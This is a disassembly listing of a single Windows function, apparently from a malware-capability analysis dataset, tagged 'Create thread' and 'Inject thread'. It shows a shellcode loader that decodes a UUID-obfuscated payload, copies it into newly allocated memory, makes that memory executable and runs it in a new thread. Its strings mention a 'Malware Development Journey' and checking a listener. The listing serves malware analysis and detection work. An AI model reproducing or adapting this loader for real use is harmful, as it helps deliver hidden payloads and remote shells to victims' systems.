Function at 0x14001127b
Capabilities:
Create thread
Inject thread

Disassembly:
jmp 0x140011b40
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e238]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x1400240a2]
call fcn.140011389
lea rcx, str.Rem01x_Malware_Development_Journey_n
call fcn.14001119a
mov qword [rbp + 8], 0x3a
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
lea r9, [rbp + 0x48]
lea r8, [rbp + 0x28]
mov rdx, qword [rbp + 8]
lea rcx, section..data
call fcn.1400110b9
test eax, eax
jne 0x140011bd3
lea rcx, str.____UUID_Deobfuscation_Failed_n
call fcn.14001119a
mov eax, 1
jmp 0x140011ddd
mov r8, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x28]
lea rcx, str.___Deobfuscated_The_Payload_At:_0x_p_And_Size__zu_n
call fcn.14001119a
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140011c3d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d__n
call fcn.14001119a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x28]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
jmp 0x140011ddd
mov rdx, qword [rbp + 0x68]
lea rcx, str.___Successfully_Allocated_Memory_For_The_Shellcode_At:__p_n
call fcn.14001119a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rbp + 0x88]
mov qword [rsp + 0x20], rcx
mov r9, qword [rbp + 0x48]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0xa4], 0
lea r9, [rbp + 0xa4]
mov r8d, 0x20
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140011ce2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_Failed_With_Error_:__d__n
call fcn.14001119a
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x28]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
jmp 0x140011ddd
lea rcx, str.___Successfully_Changed_The_Memory_Permissions_From_Read_And_Write_To_Read_And_Execute_n
call fcn.14001119a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x68]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
jne 0x140011d63
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.14001119a
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x28]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
jmp 0x140011ddd
lea rcx, str.___Successfully_Executed_The_Thread._Please_Check_Your_Listener__n
call fcn.14001119a
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x28], 0
je 0x140011db6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x28]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.___Cleaned_Up_The_Memory_n
call fcn.14001119a
cmp qword [rbp + 0x68], 0
je 0x140011ddb
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, str.___Cleaned_Up_The_Shellcode_Memory_n
call fcn.14001119a
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001b860]
call fcn.140011316
mov rax, rdi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.1400111b3
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret